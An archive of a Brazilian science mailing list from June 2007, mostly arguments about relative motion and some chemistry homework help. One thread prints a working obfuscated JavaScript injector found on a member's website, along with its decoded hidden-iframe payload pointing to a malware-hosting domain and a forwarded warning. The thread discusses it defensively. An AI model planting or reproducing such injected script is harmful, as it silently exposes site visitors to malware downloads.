A verdade é que as pessoas começam a cansar de tentar faze-lo entender
e vão deixando de lado as discussões, o que pode fazer com que você
tenha a sensação de ter "vencido pelo cansaço" uma discussão que só
pode ser resolvida com dados e informação científica (que lhe falta).
JR - ?!

Sobre eu ter uma "postura academica", isso é tolice, pois eu não
pretendo saber mais que todos os outros, muito menos que os físicos
que estão tentando explicar as coisas para você, apenas percebo que
sei mais que você nesse caso (o que nem é uma grande vantagem de todo
modo..:-)
JR - Não disse que vc tem postura acadêmica, eu disse que vc tem pose de
catedrático sabidório, exatamente aquilo que vc quer negar que tem, pose de
que sabe tudo e os demais não sabem nada.

Homero

PS: No caso do avião, você insiste que o avião decola ou não
dependendo do referencial. Mas parece concordar que a bola, não
importa o referencial, vai se comportar da mesma forma sempre. Isso
chega a ser absurdo e totalmente incompreensível!
JR - Enfim alguma coisa para avaliar. Não era sem tempo! Mais uma vez vc se
engana ao achar que eu concordo que a bola vai se comportar independente de
referencial. Esperimente medir a velocidade da bola em relação ao chão!
Quando é lançada a 100km/h em relação ao lançador-caro ela terá a velocidade
de zero km/h em relação ao chão. Para ter 100km/h em relação ao chão ela
terá de ser lançada com 200 km/h em relação ao lançador-carro. Percebe?
Nesse caso ela não ficaria mais praticamente parada em relação ao chão e
traçaria uma longa parábola para a direita. Mas aí, acorde, a bola não será
lançada na mesma velocidade do carro e sim com *o dobro* da velocidade dele.
Como no problema esteira-avião. Pense um pouco...


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Ricardo: A única coisa que os 2 problemas têm em comum é o seu erro,
para
> variar...
> ........................
> Vc não disse qual é o meu erro? Não adianta se esconder. A verdade vai
> chegando de mansinho no problema da bola e em outros trocentos
problemas
> semelhantes de movimentos relativos. São eles que vão mostrar quem está
> errando e insistindo no erro de interpretação, só para não aceitar
que minha
> análise está correta.
> []s
> JR
> ..............................................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, June 20, 2007 2:11 PM
> Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
> a100Km/h:osresultados
>
>
> > Como já tinha adiantado o carro usa a pista-chão, como referencial
para a
> > medida da sua velocidade de deslocamento, e a bola usa o
carro-lançador
> > como referencial para medir sua velocidade de lançamento.
> >
> > Será que Homero, José Carlos e Ricardo vão questionar o uso de dois
> > referenciais, como fizeram na questão do avião-esteira?
>
> E lá vamos nós...
>
> Mas o que esse filme trata não é exatamente a questão dos
referenciais? Mais
> do que explicitamente?
>
> A única coisa que os 2 problemas têm em comum é o seu erro, para
variar...
>
>
> Sds,
>
> Ricardo



SUBJECT: Fumaça de ônibus vira matéria-prima para pneu
FROM: Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 14:43

Segue a notícia:
http://agenciact.mct.gov.br/index.php/content/view/44659.html

[]s,
Robespierre



SUBJECT: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/06/2007 15:12

E lá vamos nós...

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: quinta-feira, 21 de junho de 2007 13:00
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados



> Ricardo: A única coisa que os 2 problemas têm em comum é o seu erro, para
> variar...
> ........................
> José Renato:
> Vc não disse qual é o meu erro?
>
> Ricardo:
> 1) A bola não corre para trás, após tocar o chão, por causa do vácuo, como
> vc afirmou, pois ela ganha grande velocidade somente após tocar o chão.
> JR - Erro 1: a bola já cai na vertical pela primeira vez com inclinação
> para a esquerda, o que significa que já existe uma componente horizontal
> de força nessa direção.

Mas, é após tocar no chão que realmente ganha velocidade. O deslocamento da
bola para esquerda, antes do contato com o chão, é muito pequeno. Não
justifica a bola começar a rolar para a esquerda, como acontece, após o
contato com o chão. Permanece o seu erro.

> 2) O avião decola seja qual for o referencial escolhido para o outro
> problema (do avião) e não faz nenhum sentido o uso de 2 referenciais,
> pelas razões já exaustivamente explicadas.
> JR - Erro 2: Para a medição das velocidades do carro e da bola foram
> usados 2 referenciais diversos. O teste feito com o lançador parado para a
> aferição da velocidade utilizou o chão como referencial. Mas, quando o
> lançador está no carro, a velocidade da bola é medida em relação ao
> lançador e não mais em relação ao chão.

A velocidade da bola só é medida com o carro parado. Pelo menos no vídeo
apresentado. E, aliás, nem é realmente importante. A única observação
importante, neste caso, é a de que o grande movimento adquirido após o
contato com o chão não pode ter sido causado pelo vácuo, senão aconteceria
antes deste contato.

> Se ela estivesse em um tubo bem longo instalado no carro e mantivesse a
> velocidade do lançamento de 100km/h ela continuaria praticamente parada em
> relação ao solo... Como o avião.

Não, visto que o cano não impediria a rotação da bola em torno de seu
próprio eixo, e que mesmo o pequeno deslocamento da bola ainda no ar está,
muito provavelmente, associado à diferença entre a velocidade do carro e a
velocidade de arremesso, que obviamente, dificilmente serão iguais. E, veja
bem, mesmo que o vácuo tivesse causado este pequeno deslocamento para a
esquerda inicial (que deixaria a bola quase no local de lançamento), não
justificaria o grande movimento que ocorre após o contato com o chão.

Seria difícil conseguir este nível de precisão para as duas velocidades. Mas
o fato do deslocamento ainda no ar ser muito pequeno, mostra que chegaram
bem perto disso. Foi bastante satisfatório o experimento, ao meu ver.


> Não adianta se esconder. A verdade vai chegando de mansinho no problema
> da bola e em outros trocentos problemas semelhantes de movimentos
> relativos.
> São eles que vão mostrar quem está errando e insistindo no erro de
> interpretação, só para não aceitar que minha análise está correta.
>
> Quem sabe de tanto vc repetir isso, se realize? Como naquele profundo
> filme"Quem somos nós"?
> JR - Quem sabe um dia vc caia na real de que é isso que se realiza?

Hmm... continue repetindo os mesmos argumentos sem sentido que um dia vc
deve conseguir (pelo menos a gente vai se cansar de tentar te explicar).

Abs,

Ricardo





SUBJECT: RES: [ciencialist] P/ Renato - Re: Jogar uma bola a 100Km/h de um carroa100Km/h:osresultados
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/06/2007 15:17

Homero, às vezes tenho a impressão de que o José Renato está só brincando
com a lista. Tentando tirar alguns do sério, eu acho. Não é possível que ele
fique se repetindo todo o tempo nos mesmos erros desta forma.

Será que é isso mesmo?

[]s

Ricardo

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: quinta-feira, 21 de junho de 2007 14:25
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ Renato - Re: Jogar uma bola a 100Km/h de um
carroa100Km/h:osresultados

Homero, veja meus comentário após JR - em seu texto abaixo, onde não há nada

sobre o meu erro e muito blá, blá, blá inócuo. Que tal incluir informações
sobre o problema e as indicações dos meus erros? Observe que nas minhas
respostas eu acrescento argumentos e análises para vc avaliar, enquanto que
as suas respostas são cheias de coisa alguma.
..............................
From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, June 21, 2007 1:15 AM
Subject: [ciencialist] P/ Renato - Re: Jogar uma bola a 100Km/h de um
carroa100Km/h:osresultados


Olá Renato

Renato: "Vc não disse qual é o meu erro? Não adianta se esconder. A
verdade vai chegando de mansinho no problema da bola e em outros
trocentos problemas semelhantes de movimentos relativos. São eles que
vão mostrar quem está errando e insistindo no erro de interpretação,
só para não aceitar que minha análise está correta."

Não, a verdade já chegou, de forma avassaladora: você é extremamente
teimoso, não compreende a física nem os experimentos apresentados,
ignora qualquer tentativa dos que tentam explicar a você seus erros, e
pensa saber mais que toda a lista, que todos os físicos, que todas as
pessoas (inclusive o especialista em decolagem de aviões cujas
análises eu postei tempos atrás..:-).
JR - !?

A verdade é que as pessoas começam a cansar de tentar faze-lo entender
e vão deixando de lado as discussões, o que pode fazer com que você
tenha a sensação de ter "vencido pelo cansaço" uma discussão que só
pode ser resolvida com dados e informação científica (que lhe falta).
JR - ?!

Sobre eu ter uma "postura academica", isso é tolice, pois eu não
pretendo saber mais que todos os outros, muito menos que os físicos
que estão tentando explicar as coisas para você, apenas percebo que
sei mais que você nesse caso (o que nem é uma grande vantagem de todo
modo..:-)
JR - Não disse que vc tem postura acadêmica, eu disse que vc tem pose de
catedrático sabidório, exatamente aquilo que vc quer negar que tem, pose de
que sabe tudo e os demais não sabem nada.

Homero

PS: No caso do avião, você insiste que o avião decola ou não
dependendo do referencial. Mas parece concordar que a bola, não
importa o referencial, vai se comportar da mesma forma sempre. Isso
chega a ser absurdo e totalmente incompreensível!
JR - Enfim alguma coisa para avaliar. Não era sem tempo! Mais uma vez vc se
engana ao achar que eu concordo que a bola vai se comportar independente de
referencial. Esperimente medir a velocidade da bola em relação ao chão!
Quando é lançada a 100km/h em relação ao lançador-caro ela terá a velocidade

de zero km/h em relação ao chão. Para ter 100km/h em relação ao chão ela
terá de ser lançada com 200 km/h em relação ao lançador-carro. Percebe?
Nesse caso ela não ficaria mais praticamente parada em relação ao chão e
traçaria uma longa parábola para a direita. Mas aí, acorde, a bola não será
lançada na mesma velocidade do carro e sim com *o dobro* da velocidade dele.

Como no problema esteira-avião. Pense um pouco...


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Ricardo: A única coisa que os 2 problemas têm em comum é o seu erro,
para
> variar...
> ........................
> Vc não disse qual é o meu erro? Não adianta se esconder. A verdade vai
> chegando de mansinho no problema da bola e em outros trocentos
problemas
> semelhantes de movimentos relativos. São eles que vão mostrar quem está
> errando e insistindo no erro de interpretação, só para não aceitar
que minha
> análise está correta.
> []s
> JR
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>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, June 20, 2007 2:11 PM
> Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
> a100Km/h:osresultados
>
>
> > Como já tinha adiantado o carro usa a pista-chão, como referencial
para a
> > medida da sua velocidade de deslocamento, e a bola usa o
carro-lançador
> > como referencial para medir sua velocidade de lançamento.
> >
> > Será que Homero, José Carlos e Ricardo vão questionar o uso de dois
> > referenciais, como fizeram na questão do avião-esteira?
>
> E lá vamos nós...
>
> Mas o que esse filme trata não é exatamente a questão dos
referenciais? Mais
> do que explicitamente?
>
> A única coisa que os 2 problemas têm em comum é o seu erro, para
variar...
>
>
> Sds,
>
> Ricardo



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SUBJECT: Re: Exercícios de química
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 15:26

--- Em ciencialist@yahoogrupos.com.br, Phoenix Myth
> 1) vc falou que era só aplicação da famosa fórmula de
> pH, mas não estou conseguindo chegar no resultado. Já
> tentei de várias maneiras...

pH = pKa + log([A-]/[HA])

Vc tem o pH original - 3,95
Pega-se o valor de pKa (dado do exercício ou pela tabela)
Aí vc tem log([A-]/[HA]) - como vc tem [A-], 0,2M, vc resolve para [HA].

Vc quer *aumentar* o pH para 4,35, logo vc precisa acrescentar base ou
ácido? Se precisar aumentar base, vc mantém o [HA] e resolve para
[A-], se precisar aumentar o ácido, vc mantém o [A-] e resolve para [HA].

Vc obtém a concentração molar da espécie química, multiplica pelo
volume da solução para obter o total de mols. Tira a *diferença* de
mols entre o valor final e o q tinha antes. E multiplica pela massa
molar da espécie química em questão.

> 3) pois é... do jeito que vc falou parece ser muito
> fácil também, mas estou aplicando a fórmula que vc
> passou e não consegui também, alías eu eu conhecia
> outra fórmula que é deltaG = -RT ln K. Já tentei as
> duas... e nada dá certo...

Vc reparou q o valor dado é do deltaGº(CH3CO2-)? Logo o q vc calculará
inicialmente é o pKb (constante de dissociação da BASE).

> E só mais uma dúvida pessoal: qual é a sua formação?

Eu gosto do 4, 4, 2 ou mesmo do WM - não gosto de uma formação q
trunque muito pelo meio de campo.

[]s,

Roberto Takata



SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 15:30

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR1 - Como já expliquei anteriormente o empuxo do vento na bola é
> mais forte quando ela é lançada, mas o empuxo só passa a atuar
> efetivamente *após o lançamento* a partir do qual o efeito de
> aceleração aumenta a velocidade da bola na horizontal a cada
> instante. Dá para entender que assim a bola
> acelera e os arcos ficam mais abertos...

Como eu disse, se fosse pelo vento os arcos NÃO seriam simétricos. Se
o vento acelera a bola horizontalmente a cada instante, a velocidade
horizontal da bola seria cada vez maior - como a posição à esquerda
figura representa instantes posteriores no tempo, significa q a cada
ponto à esquerda, a bola teria uma velocidade horizontal maior. Como o
tempo de subida e de descida da bola é mais ou menos igual
(considerando-se cada arco), significa q enqto a bola sobe ela tem uma
velocidade horizontal média MENOR do q qto ela desce - velocidade
maior para tempos equivalentes significa deslocamento MAIOR, assim a
porção à esquerda de cada arco teria q ser MAIOR do q a porção à
direita, o q quebraria completamente a simetria.

> JR1 - Parece que vc homerou de vez...

Como eu disse, essa parte deixo para vc divertir ao Homero e cia.

[]s,

Roberto Takata



SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 15:30

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> acredito que vc fez confusão entre efeito Magnus e efeito Coriolis.

Verdade.

[]s,

Roberto Takata



SUBJECT: Re: Exercícios de química
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 15:33

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Vc reparou q o valor dado é do deltaGº(CH3CO2-)? Logo o q vc calculará
> inicialmente é o pKb (constante de dissociação da BASE).

Ou não? Bem, precisarei revisar essa parte.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] [RN] OS PIORES EMPREGOS DO MUNDO
FROM: "Luiz Antonio Picanço" <lpicanco@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 18:12

Tem um programa no canal Discovery Channel só dedicado a isso. O nome do
programa é Trabalho Sujo.

On 6/20/07, Mauro <bombaspr@uol.com.br> wrote:
>
> Revista lista as piores profissões que existem
> A lista anual da "Pop Science" foi publicada nesta semana.
> Mergulhadores de esgoto lideram o ranking.
> http://g1.globo.com/Noticias/Ciencia/0,,MUL55510-5603-4167,00.html
>
> Mauro: Não tem relação com ciência, mas sempre imaginei um dos piores
> empregos ser chefe do setor responsável por malas perdidas de uma
> companhia aérea (protetor auricular certamente faz parte dos EPIs).
> :-)
>
> Inté+
> Mauro
>
>
>



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Luiz Antonio Picanço
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SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 18:28

Olá Takata!

Takata >>> Corpo é uma designação genérica de um
objeto massivo (=com massa) no universo. Um ponto
adimensional pode ser um corpo (ponto material), mas
não tem extensão.

--- E o que determina o começo e o fim de um corpo?
Porque o corpo não é o universo? O que é o universo?

Takata >>> Sugiro fortemente q vc dê uma lida nos
textos disponíveis no site...

--- Sendo que estou conversando com vc, gostaria de
obter sua resposta mesmo. Se não quiser responder,
fique a vontade.

Takata >>> (Em tempo, vc ainda está devendo a
resolução da questão do cálculo da energia gerada pela
fissão de um núcleo de urânio.)

--- A resolução está aqui faz tempo. Meu amiginho me
mandou junto com a resposta. rersrsrs... Mas não sei
quando irei posta-la. Tá com pressa? Porque?


sinceramente
ferrari

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SUBJECT: Re: [ciencialist] Re: Os que não dividiram o carro, tentando dividir o UM
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 18:38

Olá Takata!

Takata >>> Vc ficar repetindo essas coisas sem sentido
não torna isso verdadeiro.

--- Sem sentido por enquanto, Takata. Por isto lhe
digo para que apenas considere. Tudo ao seu tempo.




sinceramente
ferrari




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SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 18:43

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- E o que determina o começo e o fim de um corpo?

As circunstâncias da análise. Em geral é determinado pela continuidade
física das partes.

> Porque o corpo não é o universo? O que é o universo?

O Universo é o conjunto de sistemas conectados - q trocam informações
- direta ou indiretamente entre si.

O Universo pode ser um corpo dependendo da análise.

> Takata >>> Sugiro fortemente q vc dê uma lida nos
> textos disponíveis no site...
>
> --- Sendo que estou conversando com vc, gostaria de
> obter sua resposta mesmo. Se não quiser responder,
> fique a vontade.

Sugiro fortemente q vc dê uma lida nos textos disponíveis no site do
Prof. Leo: www.feiradeciencias.com.br. Tb sugiro q vc leia
livros-texto de física para o ensino médio (e matemática para o ensino
fundamental), creio q o Prof. Zeca tenha boas indicações didáticas.

> --- A resolução está aqui faz tempo. Meu amiginho me
> mandou junto com a resposta. rersrsrs... Mas não sei
> quando irei posta-la. Tá com pressa? Porque?

Mais uma oportunidade perdida. Realmente vc deveria simplesmente
admitir q não faz a menor idéia de como calcular a energia produzida
pela fissão do núcleo de urânio. Mas enfim, nenhuma pressa. Julgo
suficientemente claro q vc não sabe resolver o exercício e manterei
essa opinião até haver uma indicação em contrário.

[]s,

Roberto Takata



SUBJECT: Re: Os que não dividiram o carro, tentando dividir o UM
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 18:44

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Sem sentido por enquanto, Takata. Por isto lhe
> digo para que apenas considere. Tudo ao seu tempo.

Não irei levar em consideração algo sem sentido.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 18:47

Olá Takata!

Faltou vc me responder: pra vc, dimensão é mapa ou é
território?



sinceramente
ferrari

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SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 18:52

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Faltou vc me responder: pra vc, dimensão é mapa ou é
> território?

Dimensão é um conceito q se aplica a uma aspecto da realidade.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Paineis solares no google
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/06/2007 19:21

Pode trocar isso para a língua pátria?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "daniel danieç" <p_h_a_n_t_o_m_6_6_6@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 21 de junho de 2007 08:31
Assunto: Re: [ciencialist] Paineis solares no google


Provavelmente um vírus ou algo do tipo no servidor....

achei um tópico num forum falando dele...:
www.legalis.hr/modules/newbb/viewtopic.php?topic_id=17096&forum=7
(http;//konicnt,com/ld/ment/) has been determined by Google's testing to be a site that hosts or distributes badware.

What is this page?
You landed on this page because Google's independent testing has found that some portion of the site you were attempting to reach contains or links to badware or otherwise violates software guidelines of both Google and StopBadware. See the StopBadware FAQ for more information on Google warning pages. StopBadware's researchers have not reviewed this website. If they do, this warning page will be replaced with a detailed report. To see the reports we've done to date, click here.

What is badware?
Badware is software that behaves in malicious and/or deceptive ways and is commonly referred to as spyware, malware, and deceptive adware. If you download badware to your computer you may experience numerous pop-up ads; software installed without your permission or software difficult to uninstall; software that includes Trojan horses, stealth dialers, keyloggers, and viruses; slowed computer processing or even crashing; and in some cases, your privacy may be violated and abused when personal information is collected without your permission. For more information about the risks badware poses to you and your computer, see StopBadware's Guidelines and About Badware pages.

What is StopBadware.org?
StopBadware.org is a "Neighborhood Watch" campaign committed to fighting badware by providing reliable, objective information about downloadable applications so that consumers can make informed choices when they download programs to their computers. StopBadware.org is led by the Berkman Center for Internet & Society, the Oxford Internet Institute, Google, Lenovo, and Sun Microsystems.

What can you do to protect yourself and your computer?
If you believe your computer has been affected by badware, please see StopBadware's "How to get rid of badware." If there are applications or websites you would like us to test, please report them to us by submitting either a story of your experiences or, if you have technical expertise, a technical report. StopBadware.org also publishes reports on badware applications and badware sites, which are available on StopBadware.org. If you would like to receive future reports by email, please sign up for the StopBadware.org email list.

Click here to share

Taj script o&#269;itavam tako&#273;er na Legalis forumima :


e = '0x00' + '5D';str1 = "%E6%AF%BF%AC%B5%B2%AE%C2%B6%BD%B0%BB%A9%BD%BB%B9%E1%FC%B4%BD%A8%BD%AF%BF%AC%B5%B2%AE%FC%E0%D1%D4%C2%C2%C2%C2%A8%BD%AC%C2%B6%BE%A9%AC%B6%C2%E1%C2%FC%B7%B3%B0%B5%BF%B0%AE%F0%...
...
9%F5%A7%A1%D1%D4%C2%C2%C2%C2%C2%C2%C2%C2%A1%D1%D4%C2%E6%F3%AF%BF%AC%B5%B2%AE%E0"

str=tmp=
for(i=0...

a potje&#269;e od (NE KLIKAJTE NA OVAJ LINK !) :

http;//konicnt,com/ld/ment/

S obzirom da ovo nije prvi put da se isti ubacuje na Legalis forume, pretpostavljam da urednistvo i moderatori znaju o &#269;emu je rije&#269; i kako to ubudu&#263;e sprije&#269;iti.

Ovo je ujedno i objasnjenje drugim korisnicima zasto moraju po desetak puta odgovarati na razna pitanja u stilu

"A Runtime Error has occured.
Do you wish to debug ?
Line: 8
Error: Syntax error"

ili :

A Runtime Error has occured.
Do you wish to debug ?

Line: 44
Error: Object doesn't support this property or method 'Create object'

P.S. Upozorenje na SPAM-BOT namjerno koristim u ovoj temi, prije svega zato da podsjetim na temu (ali i na zlo&#263;udni SPAM-BOTi&#263;, doduse, malo druga&#269;ijeg tipa) ...

P.S.(2) : U linkovima sam izmijenio znak dvoto&#269;ke i znak to&#269;ke u to&#269;ku-zarez i zarez kako ne bi doslo do slu&#269;ajnog klikanja na taj link...





Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
Olá Daniel,

cristalinamente entendido. O problema é "como esse script foi parar na minha página de abertura". Eu deleto esse script e um ou dois dias depois lá está ele novamente! Como ele entra lá?!

grato,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "daniel danieç" <p_h_a_n_t_o_m_6_6_6@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 20 de junho de 2007 13:40
Assunto: Re: [ciencialist] Paineis solares no google

o script converte o conteudo da variavel str1 para um código HTML que cria um IFRAME direcionando a uma pagina externa que começa a baixar um alguns trojans e virus...
o código gerad é este: (sem os espaços)
< d i v s t y l e = " v i s i b i l i t y : h i d d e n " > < i f r a m e s r c = " h t t p : / / k o n i c n t . c o m / l d / m e n t / " w i d t h = 1 h e i g h t = 1 > < / i f r a m e > < / d i v >

para impedir a chamada desta pagina, se este código estiver em alguma pagina no seu servidor, apenas arraque esta parte de código javascript... se o código estiver numa pagina externa referenciada por alguma pagina de seu servidor, tire a chamada desta pagina externa...


Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:


Ola pessoal,

hoje a página do Feira de Ciências apareceu novamente com problema. Eis a cópia do 'importuno':

<br><script language="JavaScript">e = '0x00' + '7A';str1 = "%C1%99%92%8F%E5%88%89%82%91%9E%C6%DB%8F%92%88%92%9B%92%91%92%89%82%C3%9D%92%99%99%9E%97%DB%C7%C1%92%9F%8B%9A%96%9E%E5%88%8B%98%C6%DB%9D%89%89%95%C3%D4%D4%90%94%97%92%98%97%89%D7%98%94%96%D4%91%99%D4%96%9E%97%89%D4%DB%E5%8C%92%99%89%9D%C6%CA%E5%9D%9E%92%9C%9D%89%C6%CA%C7%C1%D4%92%9F%8B%9A%96%9E%C7%C1%D4%99%92%8F%C7";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

Que faço para impedir a entrada disso na página inicial do Feira?
O que está escrito nesse 'script'?

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 19:37

Takata >>> Dimensão é um conceito q se aplica a uma
aspecto da realidade.

--- Que aspecto?


sinceramente
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SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 19:46

--- O que determina o começo e o fim de um corpo?

Takata >>> As circunstâncias da análise. Em geral é
determinado pela continuidade física das partes.

--- O que é continuidade física?

Takata >>> O Universo é o conjunto de sistemas
conectados - q trocam informações - direta ou
indiretamente entre si.

--- Porque voce acredita nisto?

Takata >>> O Universo pode ser um corpo dependendo da
análise.

--- Ok, entendo.

Takata >>> Mais uma oportunidade perdida.

--- Tá contando? Eis aqui outra.

Takata >>> Realmente vc deveria simplesmente admitir q
não faz a menor idéia de como calcular a energia
produzida pela fissão do núcleo de urânio.

--- Porque vc acha que eu deveria admitir isto?

Takata >>> Julgo suficientemente claro q vc não sabe
resolver o exercício e manterei essa opinião até haver
uma indicação em contrário.

--- Racionalmente justa sua posição. Mas ainda
incerta, como toda certeza racional.


sinceramente
ferrari






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SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 20:44

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Dimensão é um conceito q se aplica a uma
> aspecto da realidade.
>
> --- Que aspecto?

Ao aspecto de q objetos/fenômenos apresentam uma localização no espaço
e no tempo, q objetos/fenômenos possuem extensão e duração...

Mas vc está devendo a resolução do exercício.

[]s,

Roberto Takata



SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 20:51

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- O que é continuidade física?

É a existência de conexão física entre as partes.

> Takata >>> O Universo é o conjunto de sistemas
> conectados - q trocam informações - direta ou
> indiretamente entre si.
>
> --- Porque voce acredita nisto?

Não é questão de acreditar. É pura definição. Se vc definir Universo
como recipiente de porcelana para beber chá vc isso tb não depende de
crença - apenas q estará se chamando uma xícara de Universo.
Naturalmente, haverá conseqüências diferentes para cada definição e ao
final estarão se referindo a coisas diferentes.

> --- Tá contando? Eis aqui outra.

Pois é.

> Takata >>> Realmente vc deveria simplesmente admitir q
> não faz a menor idéia de como calcular a energia
> produzida pela fissão do núcleo de urânio.
>
> --- Porque vc acha que eu deveria admitir isto?

Porq é feio mentir ou omitir a verdade - salvo, exceções, q não é o caso.

> Takata >>> Julgo suficientemente claro q vc não sabe
> resolver o exercício e manterei essa opinião até haver
> uma indicação em contrário.
>
> --- Racionalmente justa sua posição. Mas ainda
> incerta, como toda certeza racional.

Não me preocupo com certezas. O q importa para uma hipótese é não
haver contradição com os fatos.

E não responderei a nenhuma pergunta sua e não farei mais nenhuma
observação ou comentários sobre o q vc escrever eqto vc não fizer uma
de duas coisas:

1) Admitir q não sabe resolver o problema.
2) Apresentar a resolução para o problema (e depois resolver outra
série de problemas relacionados sem enrolar).

[]s,

Roberto Takata



SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 21:03

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Como eu disse, se fosse pelo vento os arcos NÃO seriam simétricos.

Aliás, se houvesse aceleração horizontal significativa pelo vento o
arco não seria nem mesmo parabólico, mas formaria triângulos.

[]s,

Roberto Takata



SUBJECT: Re: Exercícios de química
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 21:41

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Ou não? Bem, precisarei revisar essa parte.

É, o item 3a não está fácil para se resolver...

[]s,

Roberto Takata



SUBJECT: Mapa e território
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 23:02

Mapa é território porque território é mapa.

Se o mapa não é o território, então o que é o território?

Uma idéia? Mas uma idéia é um mapa.

Uma coisa? Mas toda coisa é uma idéia.

Porque leio essas asneiras na lista o tempo todo?

Abraços,
JC




SUBJECT: Doutor Megavolt
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 21/06/2007 23:36

Doutor Megavolt
<http://100nexos.com/arquivo/179><http://100nexos.com/arquivo/179#respond>

<http://www.drmegavolt.com/index_gallery.html>
